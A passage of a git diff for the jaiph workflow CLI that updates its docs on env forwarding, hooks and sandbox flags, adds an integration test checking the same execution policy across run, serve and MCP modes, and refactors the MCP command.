`JAIPH_MODULE_GRAPH_FILE`, `JAIPH_SOURCE_ABS`, `JAIPH_META_FILE`, `JAIPH_AGENT_TRUSTED_WORKSPACE`, `JAIPH_RUN_WORKFLOW`) are rejected with `E_ENV_RESERVED` — use the sandbox flags or real env vars for those. Values are never path-remapped. See [CLI — `jaiph run` flags](cli.md#jaiph-run). +To forward a variable outside the allowlist (for example `GITHUB_TOKEN` or `AWS_ACCESS_KEY_ID`) into a specific run, use the per-key **`--env`** flag on `jaiph run` / `jaiph serve` / `jaiph mcp`: `--env KEY=VALUE` sets an exact value and `--env KEY` forwards the host's current value. In host mode `--env` defines the variable on the workflow process directly; in a Docker sandbox it crosses the boundary verbatim as an explicit `-e KEY=VALUE` container arg **bypassing the allowlist above** (the flag is the per-key consent), winning over any allowlist-forwarded value for the same key. A bare `--env KEY` unset on the host aborts with `E_ENV_MISSING` before anything is spawned; invalid names give `E_ENV_INVALID`; and the sandbox-control / runtime-managed keys the CLI owns (`JAIPH_UNSAFE`, `JAIPH_INPLACE`, `JAIPH_INPLACE_YES`, any `JAIPH_DOCKER_*`, `JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, `JAIPH_RUN_ID`, `JAIPH_SCRIPTS`, `JAIPH_MODULE_GRAPH_FILE`, `JAIPH_SOURCE_ABS`, `JAIPH_META_FILE`, `JAIPH_AGENT_TRUSTED_WORKSPACE`, `JAIPH_RUN_WORKFLOW`) are rejected with `E_ENV_RESERVED` — use the sandbox flags or real env vars for those. Values are never path-remapped. See [CLI — `jaiph run` flags](cli.md#jaiph-run). An `--env`-forwarded variable is visible to trusted `run` script/workflow steps but **not** to `prompt` agent subprocesses: every prompt backend is spawned with a fail-closed scrub that forwards only the base environment (`PATH`, `HOME`, locale, proxies, `CLAUDE_CONFIG_DIR`, …), `JAIPH_*` control keys, and that backend's own credential keys — in host mode and every Docker sandbox mode alike. See [Sandboxing — environment exposure](sandboxing.md#env-exposure). diff --git a/docs/hooks.md b/docs/hooks.md index 30e093a6..644d0ee1 100644 --- a/docs/hooks.md +++ b/docs/hooks.md @@ -13,9 +13,17 @@ This recipe wires a shell command to a workflow lifecycle event so the CLI runs Hooks run **on the host CLI** even when the workflow runs inside Docker. The CLI dispatches them at lifecycle points — step events from parsed `__JAIPH_EVENT__` lines on the runner's stderr, plus `workflow_start` before the runner spawns and `workflow_end` after it exits — with a JSON payload on stdin per invocation. +**One contract, three invocation modes.** The same four events (`workflow_start`, `step_start`, `step_end`, `workflow_end`) with the same payload shapes fire for: + +- **direct runs** — interactive `jaiph run` / `jaiph `; +- **HTTP runs** — every `jaiph serve` workflow run, dispatched by the server process; +- **MCP tool calls** — every `jaiph mcp` tool call, dispatched by the server process (hook stderr goes to the server's stderr; stdout stays clean for the protocol). + +The explicit mode differences: `jaiph run --raw` dispatches **no** hooks (transparent embedding / the Docker inner run — the host side of a Docker run still dispatches), and `jaiph test` executes workflows in-process without hooks. Servers load `hooks.json` at startup and re-read it on each source reload. + ## Prerequisites -- An entry `.jh` file you can run with `jaiph run` or `jaiph ` (hooks do **not** fire for `jaiph test`, `jaiph compile`, `jaiph format`, `jaiph init`, `jaiph install`, `jaiph use`, or `jaiph run --raw`). +- An entry `.jh` file you can run with `jaiph run` / `jaiph `, or serve with `jaiph serve` / `jaiph mcp` (hooks do **not** fire for `jaiph test`, `jaiph compile`, `jaiph format`, `jaiph init`, `jaiph install`, `jaiph use`, or `jaiph run --raw`). - `sh`, plus whatever tool the hook command needs (`jq`, `curl`, etc.). ## 1. Create the hooks file @@ -86,7 +94,7 @@ The jq filter above drops several fields. A full `step_end` payload also include The other events carry different fields: -- `workflow_start` — `event`, `timestamp`, `run_path`, `workspace`. Its `workflow_id` is present but **empty**: the run id is not known until the runner reports the first step, so do not key on it here. +- `workflow_start` — `event`, `workflow_id` (the run id in every invocation mode — direct, HTTP, and MCP), `timestamp`, `run_path`, `workspace`. - `workflow_end` — `event`, `workflow_id`, `status` (the resolved run exit status), `elapsed_ms` (total run time), `timestamp`, `run_path`, `workspace`, and, when the runner reported them, `run_dir` (the run directory under `.jaiph/runs`) and `summary_file` (path to `run_summary.jsonl`). These two point a webhook at the run artifacts. Every command also inherits the CLI's environment, which is why `$HOME` resolves in the examples above. diff --git a/docs/mcp.md b/docs/mcp.md index d57ee839..7d29816b 100644 --- a/docs/mcp.md +++ b/docs/mcp.md @@ -161,11 +161,13 @@ Tool calls honor the **same env-driven Docker sandbox as `jaiph run`** ([Sandbox **The workspace is isolated by default** — the same as `jaiph run`. Each tool call's container works on its own writable point-in-time snapshot of the workspace; edits are discarded when the container exits and the host workspace is untouched. Concurrent calls each get their own run id and run directory. -To **opt into live writes**, set `JAIPH_INPLACE=1` before starting the server. In inplace mode the host workspace is bind-mounted read-write into each tool call's container, so effects land live — two calls that mutate the *same* files can still race. +To **opt into live writes**, pass `--inplace` (or set `JAIPH_INPLACE=1`) when starting the server. In inplace mode the host workspace is bind-mounted read-write into each tool call's container, so effects land live — two calls that mutate the *same* files can still race. Other sandbox controls: -- `JAIPH_UNSAFE=true` — run on the host with no sandbox at all. +- `--unsafe` / `JAIPH_UNSAFE=true` — run on the host with no sandbox at all. + +The sandbox flags are the shared execution-policy surface of `jaiph run` / `jaiph serve` / `jaiph mcp` (precedence: CLI flags > `JAIPH_*` env vars > workflow config metadata > defaults; `--inplace` + `--unsafe` is `E_FLAG_CONFLICT` at startup). The server resolves the posture **once at startup**, prints it, and applies it to every call — there is no interactive confirmation: launching the server with the flag or env var is the consent. See [Environment variables — Precedence](env-vars.md#precedence). Agent-credential pre-flight runs once at startup. In MCP mode its findings are demoted to warnings even in Docker mode (the server can outlive a credential fix, and per-call failures still surface to the client); set credentials on the host so the allowlist forwards them into the container. diff --git a/docs/serve.md b/docs/serve.md index 1af46bf9..7644c5f7 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -108,7 +108,7 @@ The concurrency cap limits *active* children, not process memory. A long-lived s **Eviction is in-memory only.** Dropping a run from the registry does **not** delete its durable `.jaiph/runs//run_summary.jsonl` journal or published `artifacts/` — those persist on disk (via `JAIPH_RUNS_DIR`, an `emptyDir` or PVC under Kubernetes) and are **the operator's to prune**. Once a run is evicted its API endpoints (`GET /v1/runs/{id}`, `/events`, `/artifacts`) return `404`; read the durable artifacts from the filesystem instead. -Execution honors the same env-driven sandbox as [`jaiph run`](cli.md#jaiph-run) and [Run in a Docker sandbox](/how-to/sandbox-run): a Docker sandbox with an isolated workspace by default. `JAIPH_INPLACE=1` keeps the sandbox but binds the real workspace read-write so run effects land live; `JAIPH_UNSAFE=true` runs on the host with no sandbox at all. Publish files a run produces with [artifacts](/how-to/artifacts). Editing a served source hot-reloads the workflow set (and the OpenAPI document) with no restart; runs already in flight keep running. +Execution honors the same execution-policy contract as [`jaiph run`](cli.md#jaiph-run) and [Run in a Docker sandbox](/how-to/sandbox-run): a Docker sandbox with an isolated workspace by default. `--inplace` (`JAIPH_INPLACE=1`) keeps the sandbox but binds the real workspace read-write so run effects land live; `--unsafe` (`JAIPH_UNSAFE=true`) runs on the host with no sandbox at all. The two are mutually exclusive (`E_FLAG_CONFLICT` at startup), the posture is resolved and printed once at startup and applied to every run, and launching the server with the flag or env var is the consent (no interactive prompt) — see [Environment variables — Precedence](env-vars.md#precedence). Publish files a run produces with [artifacts](/how-to/artifacts). Editing a served source hot-reloads the workflow set (and the OpenAPI document) with no restart; runs already in flight keep running. ## Verification diff --git a/integration/exec-policy.test.ts b/integration/exec-policy.test.ts new file mode 100644 index 00000000..984cd8d1 --- /dev/null +++ b/integration/exec-policy.test.ts @@ -0,0 +1,432 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { spawn, spawnSync, type ChildProcessWithoutNullStreams } from "node:child_process"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; + +/** + * One execution-policy contract across `jaiph run`, `jaiph serve`, and + * `jaiph mcp` — the table below drives the same sandbox/env cases through all + * three modes and asserts the same effective child env, the same filesystem + * outcome, and the same fail-before-spawn behavior for conflicting posture. + * + * Everything here is host-mode (hermetic, no Docker daemon): `--unsafe` and + * Docker-off-by-config are exercised end to end, and the flag → env → posture + * mapping for `--inplace` is pinned by unit tests with docker seams + * (`src/cli/shared/generation-posture.test.ts`) plus the Docker e2e lane + * (`e2e/tests/141_mcp_docker_sandbox.sh`), which proves snapshot/inplace + * isolation against a real daemon. + */ + +const CLI_PATH = join(process.cwd(), "dist/src/cli.js"); + +// `env_probe` reports the passthrough keys and the posture control vars the +// child observes; `write_marker` makes filesystem isolation observable. +const FIXTURE = [ + "script env_probe = `printf '%s|%s|%s|%s' \"${PROBE_A:-unset}\" \"${PROBE_B:-unset}\" \"${JAIPH_UNSAFE:-unset}\" \"${JAIPH_INPLACE:-unset}\"`", + 'script write_marker = `printf \'marker\' > "$JAIPH_WORKSPACE/written.txt"`', + "# Writes a workspace marker, then reports probe env values and posture vars.", + "workflow probe_and_write() {", + " run write_marker()", + " const seen = run env_probe()", + " return seen", + "}", + "", + "workflow default() {", + " const seen = run probe_and_write()", + " return seen", + "}", + "", +].join("\n"); + +/** Sandbox-control keys that must not leak in from the test-runner env. */ +const CONTROL_KEYS = ["JAIPH_UNSAFE", "JAIPH_INPLACE", "JAIPH_INPLACE_YES", "JAIPH_DOCKER_ENABLED", "PROBE_A", "PROBE_B"]; + +function cleanEnv(extra: Record): NodeJS.ProcessEnv { + const env: NodeJS.ProcessEnv = { ...process.env, PATH: `${dirname(process.execPath)}:${process.env.PATH ?? ""}` }; + for (const key of CONTROL_KEYS) delete env[key]; + return { ...env, ...extra }; +} + +function makeWorkspace(): { ws: string; fixture: string } { + const ws = mkdtempSync(join(tmpdir(), "jaiph-exec-policy-")); + const fixture = join(ws, "tools.jh"); + writeFileSync(fixture, FIXTURE); + return { ws, fixture }; +} + +interface ModeOutcome { + /** Process (run) or server-startup (serve/mcp) exit code; null = server served fine. */ + exitCode: number | null; + /** Workflow result text (return value) when the call succeeded. */ + resultText?: string; + stderr: string; +} + +/** Direct mode: `jaiph run tools.jh`; result text is the printed return value. */ +function runDirect(ws: string, fixture: string, flags: string[], env: NodeJS.ProcessEnv): ModeOutcome { + const r = spawnSync("node", [CLI_PATH, "run", ...flags, fixture], { cwd: ws, env, encoding: "utf8", timeout: 60_000 }); + const lines = r.stdout.split("\n").filter((l) => l.trim().length > 0); + return { exitCode: r.status, resultText: r.status === 0 ? lines[lines.length - 1] : undefined, stderr: r.stderr }; +} + +/** HTTP mode: start `jaiph serve`, POST the workflow with ?wait=true, shut down. */ +async function runServeMode(ws: string, fixture: string, flags: string[], env: NodeJS.ProcessEnv): Promise { + const child = spawn("node", [CLI_PATH, "serve", "--port", "0", ...flags, fixture], { + cwd: ws, + env, + stdio: ["ignore", "pipe", "pipe"], + }); + let stderrBuf = ""; + child.stderr!.setEncoding("utf8"); + child.stderr!.on("data", (chunk: string) => { stderrBuf += chunk; }); + + const started = await new Promise<{ baseUrl?: string; exitCode?: number }>((resolve, reject) => { + const timer = setTimeout(() => reject(new Error(`serve neither listened nor exited\nstderr:\n${stderrBuf}`)), 30_000); + child.stderr!.on("data", () => { + const m = stderrBuf.match(/listening on (http:\/\/[^ ]+)/); + if (m) { clearTimeout(timer); resolve({ baseUrl: m[1] }); } + }); + // "close" (not "exit") so a startup failure's stderr is fully flushed. + child.on("close", (code) => { clearTimeout(timer); resolve({ exitCode: code ?? 1 }); }); + }); + if (started.baseUrl === undefined) { + return { exitCode: started.exitCode ?? 1, stderr: stderrBuf }; + } + try { + const res = await fetch(`${started.baseUrl}/v1/workflows/probe_and_write/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({}), + }); + const run = (await res.json()) as { status: string; result_text: string }; + assert.equal(run.status, "succeeded", `serve run failed: ${run.result_text}`); + return { exitCode: null, resultText: run.result_text, stderr: stderrBuf }; + } finally { + await new Promise((resolve) => { + child.on("exit", () => resolve()); + child.kill("SIGTERM"); + setTimeout(() => child.kill("SIGKILL"), 5_000).unref(); + }); + } +} + +/** Minimal newline-JSON-RPC client for `jaiph mcp` over stdio. */ +function startMcpClient(args: string[], cwd: string, env: NodeJS.ProcessEnv): { + child: ChildProcessWithoutNullStreams; + waitFor: (predicate: (m: Record) => boolean, label: string) => Promise>; + send: (m: Record) => void; + stderr: () => string; + close: () => Promise; +} { + const child = spawn("node", [CLI_PATH, "mcp", ...args], { cwd, env, stdio: ["pipe", "pipe", "pipe"] }) as ChildProcessWithoutNullStreams; + // A startup failure (e.g. E_FLAG_CONFLICT) exits before reading stdin; the + // client's writes then EPIPE, which must not crash the test process. + child.stdin.on("error", () => {}); + const messages: Record[] = []; + const waiters: Array<{ predicate: (m: Record) => boolean; resolve: (m: Record) => void }> = []; + let stdoutBuf = ""; + let stderrBuf = ""; + child.stdout.setEncoding("utf8"); + child.stdout.on("data", (chunk: string) => { + stdoutBuf += chunk; + let idx = stdoutBuf.indexOf("\n"); + while (idx !== -1) { + const line = stdoutBuf.slice(0, idx); + stdoutBuf = stdoutBuf.slice(idx + 1); + if (line.length > 0) messages.push(JSON.parse(line) as Record); + idx = stdoutBuf.indexOf("\n"); + } + for (let i = 0; i < waiters.length; i += 1) { + const m = messages.find((msg) => waiters[i].predicate(msg)); + if (m) { + const w = waiters.splice(i, 1)[0]; + i -= 1; + w.resolve(m); + } + } + }); + child.stderr.setEncoding("utf8"); + child.stderr.on("data", (chunk: string) => { stderrBuf += chunk; }); + return { + child, + send: (m) => child.stdin.write(`${JSON.stringify(m)}\n`), + waitFor: (predicate, label) => + new Promise((resolve, reject) => { + const found = messages.find(predicate); + if (found) return resolve(found); + const timer = setTimeout(() => reject(new Error(`timed out waiting for ${label}\nstderr:\n${stderrBuf}`)), 30_000); + waiters.push({ predicate, resolve: (m) => { clearTimeout(timer); resolve(m); } }); + }), + stderr: () => stderrBuf, + close: () => + new Promise((resolve) => { + // A startup failure already exited before close() is called; waiting + // for another "exit" would hang forever. + if (child.exitCode !== null || child.signalCode !== null) return resolve(); + child.on("exit", () => resolve()); + child.stdin.end(); + setTimeout(() => child.kill("SIGKILL"), 5_000).unref(); + }), + }; +} + +/** MCP mode: initialize, tools/call probe_and_write, read the text result. */ +async function runMcpMode(ws: string, fixture: string, flags: string[], env: NodeJS.ProcessEnv): Promise { + const client = startMcpClient([...flags, fixture], ws, env); + // "close" (not "exit") so a startup failure's stderr is fully flushed. + const earlyExit = new Promise((resolve) => client.child.on("close", (code) => resolve(code ?? 1))); + try { + client.send({ jsonrpc: "2.0", id: 0, method: "initialize", params: { protocolVersion: "2025-03-26", capabilities: {}, clientInfo: { name: "t", version: "0" } } }); + const first = await Promise.race([client.waitFor((m) => m.id === 0, "initialize"), earlyExit]); + if (typeof first === "number" || first === null) { + return { exitCode: first ?? 1, stderr: client.stderr() }; + } + client.send({ jsonrpc: "2.0", method: "notifications/initialized" }); + client.send({ jsonrpc: "2.0", id: 1, method: "tools/call", params: { name: "probe_and_write", arguments: {} } }); + const call = await client.waitFor((m) => m.id === 1, "tools/call response"); + const result = call.result as { content: Array<{ text: string }>; isError: boolean }; + assert.equal(result.isError, false, `mcp call failed: ${JSON.stringify(result.content)}`); + return { exitCode: null, resultText: result.content[0].text, stderr: client.stderr() }; + } finally { + await client.close(); + } +} + +// --------------------------------------------------------------------------- +// Table: the same sandbox/env case observed through all three modes +// --------------------------------------------------------------------------- + +interface PolicyCase { + name: string; + flags: string[]; + env: Record; + /** Expected `PROBE_A|PROBE_B|JAIPH_UNSAFE|JAIPH_INPLACE` as the child sees it. */ + expectProbe: string; + /** Expected startup-posture fragment on serve/mcp stderr. */ + expectPosture: string; +} + +const POLICY_CASES: PolicyCase[] = [ + { + name: "--env passthrough (explicit value + host forward), Docker off by config", + flags: ["--env", "PROBE_A=va", "--env", "PROBE_B"], + env: { PROBE_B: "vb", JAIPH_DOCKER_ENABLED: "false" }, + expectProbe: "va|vb|unset|unset", + expectPosture: "execute on the host with no sandbox.", + }, + { + name: "--unsafe --yes (unsafe opt-in turns Docker off; consent recorded)", + flags: ["--unsafe", "--yes"], + env: {}, + expectProbe: "unset|unset|true|unset", + expectPosture: "execute on the host with no sandbox (unsafe opt-in", + }, + { + // With Docker off by config the inplace *mount* is moot, but the flag's + // env normalization (JAIPH_INPLACE=1 on the child) must still be identical + // across modes — the Docker-side effect of that env value is pinned by + // generation-posture unit tests and the Docker e2e lane. + name: "--inplace normalizes JAIPH_INPLACE=1 onto every child, Docker off by config", + flags: ["--inplace"], + env: { JAIPH_DOCKER_ENABLED: "false" }, + expectProbe: "unset|unset|unset|1", + expectPosture: "execute on the host with no sandbox.", + }, +]; + +for (const c of POLICY_CASES) { + test(`exec policy table: ${c.name} — identical child env and workspace writes in run, serve, and mcp`, async () => { + const observations: Array<{ mode: string; probe: string; markerWritten: boolean }> = []; + for (const mode of ["run", "serve", "mcp"] as const) { + const { ws, fixture } = makeWorkspace(); + try { + const env = cleanEnv(c.env); + const outcome = + mode === "run" + ? runDirect(ws, fixture, c.flags, env) + : mode === "serve" + ? await runServeMode(ws, fixture, c.flags, env) + : await runMcpMode(ws, fixture, c.flags, env); + assert.notEqual(outcome.exitCode ?? 0, 1, `${mode} must succeed\nstderr:\n${outcome.stderr}`); + assert.equal(outcome.resultText, c.expectProbe, `${mode}: effective child env`); + if (mode !== "run") { + assert.match(outcome.stderr, new RegExp(c.expectPosture.replace(/[()|\\]/g, "\\$&")), `${mode}: startup posture printed once`); + } + observations.push({ mode, probe: outcome.resultText ?? "", markerWritten: existsSync(join(ws, "written.txt")) }); + } finally { + rmSync(ws, { recursive: true, force: true }); + } + } + // The contract: every mode observed the same child env and the same + // filesystem outcome (host mode → the marker lands in the workspace). + for (const o of observations) { + assert.equal(o.probe, observations[0].probe, `${o.mode} matches run's child env`); + assert.equal(o.markerWritten, true, `${o.mode}: workspace write landed (host mode has no isolation)`); + } + }); +} + +// --------------------------------------------------------------------------- +// Conflicting posture fails before anything spawns — all three modes +// --------------------------------------------------------------------------- + +test("exec policy: --inplace + --unsafe conflict fails before spawning in run, serve, and mcp", async () => { + for (const mode of ["run", "serve", "mcp"] as const) { + const { ws, fixture } = makeWorkspace(); + try { + const env = cleanEnv({}); + const flags = ["--inplace", "--unsafe", "--yes"]; + let outcome: ModeOutcome; + if (mode === "run") { + outcome = runDirect(ws, fixture, flags, env); + } else if (mode === "serve") { + outcome = await runServeMode(ws, fixture, flags, env); + } else { + outcome = await runMcpMode(ws, fixture, flags, env); + } + assert.equal(outcome.exitCode, 1, `${mode} exits 1 on the posture conflict`); + assert.match(outcome.stderr, /E_FLAG_CONFLICT/, `${mode} names the conflict`); + assert.equal(existsSync(join(ws, "written.txt")), false, `${mode}: nothing spawned, no workspace write`); + assert.equal(existsSync(join(ws, ".jaiph", "runs")), false, `${mode}: no run directory was created`); + } finally { + rmSync(ws, { recursive: true, force: true }); + } + } +}); + +// --------------------------------------------------------------------------- +// Flags belonging to another command are usage errors +// --------------------------------------------------------------------------- + +const WRONG_FLAG_CASES: Array<{ argv: string[]; expect: RegExp }> = [ + { argv: ["run", "--host", "127.0.0.1"], expect: /--host is not a jaiph run flag.*jaiph serve/ }, + { argv: ["run", "--port", "80"], expect: /--port is not a jaiph run flag.*jaiph serve/ }, + { argv: ["serve", "--target", "/tmp/x"], expect: /--target is not a jaiph serve flag.*jaiph run/ }, + { argv: ["serve", "--raw"], expect: /--raw is not a jaiph serve flag.*jaiph run/ }, + { argv: ["mcp", "--raw"], expect: /--raw is not a jaiph mcp flag.*jaiph run/ }, + { argv: ["mcp", "--port", "80"], expect: /--port is not a jaiph mcp flag.*jaiph serve/ }, + { argv: ["run", "--bogus"], expect: /unknown flag --bogus for jaiph run/ }, + { argv: ["serve", "--bogus"], expect: /unknown flag --bogus for jaiph serve/ }, +]; + +for (const c of WRONG_FLAG_CASES) { + test(`exec policy: jaiph ${c.argv.join(" ")} is a usage error`, () => { + const { ws, fixture } = makeWorkspace(); + try { + const r = spawnSync("node", [CLI_PATH, ...c.argv, fixture], { cwd: ws, env: cleanEnv({}), encoding: "utf8", timeout: 30_000 }); + assert.equal(r.status, 1); + assert.match(r.stderr, c.expect); + } finally { + rmSync(ws, { recursive: true, force: true }); + } + }); +} + +// --------------------------------------------------------------------------- +// Lifecycle-hook contract: the same four events, same payload fields, in all +// three invocation modes (direct, HTTP, MCP) +// --------------------------------------------------------------------------- + +const HOOK_EVENTS = ["workflow_start", "step_start", "step_end", "workflow_end"] as const; + +function writeHooksConfig(ws: string): string { + const hooksLog = join(ws, "hooks.log"); + mkdirSync(join(ws, ".jaiph"), { recursive: true }); + // Buffer the payload, then append payload+newline in ONE write — concurrent + // hook processes append to the same log, and two-step appends interleave. + const appender = ['p=$(cat); printf \'%s\\n\' "$p" >> "$HOOKS_LOG"']; + writeFileSync( + join(ws, ".jaiph", "hooks.json"), + JSON.stringify({ workflow_start: appender, step_start: appender, step_end: appender, workflow_end: appender }), + ); + return hooksLog; +} + +function readHookEvents(hooksLog: string): Array> { + if (!existsSync(hooksLog)) return []; + const events: Array> = []; + for (const line of readFileSync(hooksLog, "utf8").split("\n")) { + if (line.trim().length === 0) continue; + try { + events.push(JSON.parse(line) as Record); + } catch { + // A line still being written when we polled; the next poll re-reads it. + } + } + return events; +} + +async function waitForHookEvents(hooksLog: string): Promise>> { + const deadline = Date.now() + 20_000; + for (;;) { + const events = readHookEvents(hooksLog); + const seen = new Set(events.map((e) => e.event)); + if (HOOK_EVENTS.every((name) => seen.has(name))) return events; + if (Date.now() > deadline) { + throw new Error(`hooks log incomplete; saw: ${events.map((e) => e.event).join(", ") || "(nothing)"}`); + } + await new Promise((r) => setTimeout(r, 100)); + } +} + +/** The documented contract every mode must satisfy for its hook stream. */ +function assertHookContract(events: Array>, fixture: string, ws: string, mode: string): void { + const byType = (name: string) => events.filter((e) => e.event === name); + for (const name of HOOK_EVENTS) { + assert.ok(byType(name).length > 0, `${mode}: ${name} hook fired`); + } + for (const e of events) { + assert.equal(e.run_path, fixture, `${mode}: run_path on every payload`); + assert.equal(e.workspace, ws, `${mode}: workspace on every payload`); + assert.ok(typeof e.workflow_id === "string" && e.workflow_id.length > 0, `${mode}: non-empty workflow_id on ${e.event}`); + assert.ok(typeof e.timestamp === "string" && e.timestamp.length > 0, `${mode}: timestamp on ${e.event}`); + } + assert.equal(new Set(events.map((e) => e.workflow_id)).size, 1, `${mode}: one run id across all events`); + for (const e of [...byType("step_start"), ...byType("step_end")]) { + assert.ok(typeof e.step_kind === "string" && (e.step_kind as string).length > 0, `${mode}: step_kind present`); + assert.ok(typeof e.step_name === "string" && (e.step_name as string).length > 0, `${mode}: step_name present`); + } + const scriptSteps = byType("step_end").map((e) => `${e.step_kind} ${e.step_name}`); + assert.ok(scriptSteps.includes("script env_probe"), `${mode}: script step_end observed (saw: ${scriptSteps.join(", ")})`); + const end = byType("workflow_end")[0]; + assert.equal(end.status, 0, `${mode}: workflow_end status 0 on success`); + assert.ok(typeof end.elapsed_ms === "number", `${mode}: workflow_end elapsed_ms`); +} + +test("hook contract: direct `jaiph run` dispatches all four events with the documented payloads", async () => { + const { ws, fixture } = makeWorkspace(); + try { + const hooksLog = writeHooksConfig(ws); + const outcome = runDirect(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", HOOKS_LOG: hooksLog })); + assert.equal(outcome.exitCode, 0, `run failed:\n${outcome.stderr}`); + assertHookContract(await waitForHookEvents(hooksLog), fixture, ws, "run"); + } finally { + rmSync(ws, { recursive: true, force: true }); + } +}); + +test("hook contract: HTTP `jaiph serve` runs dispatch the same four events", async () => { + const { ws, fixture } = makeWorkspace(); + try { + const hooksLog = writeHooksConfig(ws); + const outcome = await runServeMode(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", HOOKS_LOG: hooksLog })); + assert.notEqual(outcome.exitCode, 1, `serve failed:\n${outcome.stderr}`); + assertHookContract(await waitForHookEvents(hooksLog), fixture, ws, "serve"); + } finally { + rmSync(ws, { recursive: true, force: true }); + } +}); + +test("hook contract: MCP tool calls dispatch the same four events", async () => { + const { ws, fixture } = makeWorkspace(); + try { + const hooksLog = writeHooksConfig(ws); + const outcome = await runMcpMode(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", HOOKS_LOG: hooksLog })); + assert.notEqual(outcome.exitCode, 1, `mcp failed:\n${outcome.stderr}`); + assertHookContract(await waitForHookEvents(hooksLog), fixture, ws, "mcp"); + } finally { + rmSync(ws, { recursive: true, force: true }); + } +}); diff --git a/src/cli/commands/mcp.ts b/src/cli/commands/mcp.ts index 91991243..5d34a23d 100644 --- a/src/cli/commands/mcp.ts +++ b/src/cli/commands/mcp.ts @@ -13,13 +13,15 @@ import { createGenerationTracker, createSourceWatcher, resolveStartupPosture, + logStartupPosture, WATCH_INTERVAL_MS, type GenerationTracker, + type StartupPosture, } from "../shared/generation"; import { VERSION } from "../../version"; const MCP_USAGE = - "Usage: jaiph mcp [--workspace ] \n\n" + + "Usage: jaiph mcp [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... \n\n" + "Serve the file's workflows as MCP tools over stdio (newline-delimited JSON-RPC).\n" + "Exposure: `export workflow` declarations if any exist, otherwise every top-level\n" + "workflow except channel route targets. `default` is exposed only when it is the\n" + @@ -28,10 +30,21 @@ const MCP_USAGE = "Sources are re-validated on change and clients get notifications/tools/list_changed.\n\n" + "Tool calls honor the same env-driven Docker sandbox as `jaiph run`: the workspace\n" + "is isolated by default via a writable point-in-time snapshot taken at call start.\n" + - "Set JAIPH_INPLACE=1 to bind the live workspace read-write (effects land on the\n" + - "host), or JAIPH_UNSAFE=true to run on the host with no sandbox.\n\n" + + "Use --inplace (JAIPH_INPLACE=1) to bind the live workspace read-write (effects land\n" + + "on the host), or --unsafe (JAIPH_UNSAFE=true) to run on the host with no sandbox.\n\n" + " --workspace workspace root for import resolution (default: auto-detect)\n" + + " --env KEY=VALUE define KEY in every tool call's env (repeatable); --env KEY forwards the host value\n" + + " --inplace Docker sandbox with the host workspace bind-mounted rw for every call (JAIPH_INPLACE=1)\n" + + " --unsafe every call runs on the host with no sandbox (JAIPH_UNSAFE=true)\n" + + " -y, --yes record auto-consent for the posture (JAIPH_INPLACE_YES=1)\n" + " -h, --help show this help\n\n" + + "Execution policy: --workspace/--env/--inplace/--unsafe/--yes are shared with jaiph run and\n" + + "jaiph serve. Precedence: CLI flags > JAIPH_* env vars > workflow config metadata > defaults.\n" + + "--inplace and --unsafe conflict (E_FLAG_CONFLICT, at startup before anything is spawned).\n" + + "The effective sandbox posture is resolved and printed once at startup and applied to every\n" + + "tool call; launching the server with the flag or env var is the consent (no interactive\n" + + "prompt). Inside a container the container itself is the sandbox (the runtime image bakes\n" + + "JAIPH_UNSAFE=true), so host-only execution there is the documented standalone posture.\n\n" + "Example:\n" + " claude mcp add mytools -- jaiph mcp ./tools.jh\n"; @@ -42,12 +55,13 @@ export async function runMcp(rest: string[]): Promise { } let parsed: ReturnType; try { - parsed = parseArgs(rest); + parsed = parseArgs(rest, "mcp"); } catch (err) { process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); return 1; } - const { workspace, env, positional } = parsed; + const { workspace, env, positional, inplace, unsafe, yes } = parsed; + const sandboxFlags = { inplace, unsafe, yes }; const input = positional[0]; if (!input) { process.stderr.write("jaiph mcp requires a .jh file path\n"); @@ -82,7 +96,7 @@ export async function runMcp(rest: string[]): Promise { let generation = 0; let generations: GenerationTracker; try { - const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph mcp"); + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph mcp", sandboxFlags); if (!loaded.state) { for (const f of loaded.failures) log(f); rmSync(tempRoot, { recursive: true, force: true }); @@ -95,24 +109,13 @@ export async function runMcp(rest: string[]): Promise { return 1; } - // Resolve the sandbox posture once at startup. Tool calls honor the same - // env-driven Docker selection as `jaiph run`: the workspace is isolated by - // default via a point-in-time snapshot. Inplace is an explicit opt-in via - // JAIPH_INPLACE=1. - let dockerConfig: ReturnType["dockerConfig"]; + // Resolve the sandbox posture once at startup (flags + env, `jaiph run` + // semantics: isolated snapshot by default, inplace/unsafe as explicit + // opt-ins). Every tool call applies this posture verbatim. + let posture: StartupPosture; try { - const posture = resolveStartupPosture(generations.current(), inputAbs, workspaceRoot, log); - dockerConfig = posture.dockerConfig; - if (dockerConfig.enabled) { - if (posture.sandboxMode === "inplace") { - log( - `jaiph mcp: tool calls run in a Docker sandbox in-place on ${workspaceRoot} ` + - "(JAIPH_INPLACE=1 opt-in: effects land live on the workspace).", - ); - } else { - log(`jaiph mcp: tool calls run in a Docker sandbox (${posture.sandboxMode} mode; workspace isolated).`); - } - } + posture = resolveStartupPosture(generations.current(), inputAbs, workspaceRoot, log); + logStartupPosture("jaiph mcp", "tool calls", posture, workspaceRoot, log); } catch (err) { log(err instanceof Error ? err.message : String(err)); rmSync(tempRoot, { recursive: true, force: true }); @@ -128,7 +131,7 @@ export async function runMcp(rest: string[]): Promise { const lease = generations.acquire(); return callWorkflow( lease.state.callEnv, - dockerConfig, + posture, spec.workflow, spec.params.map((p) => args[p] ?? ""), randomUUID(), @@ -152,7 +155,7 @@ export async function runMcp(rest: string[]): Promise { reloading = true; try { generation += 1; - const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph mcp"); + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph mcp", 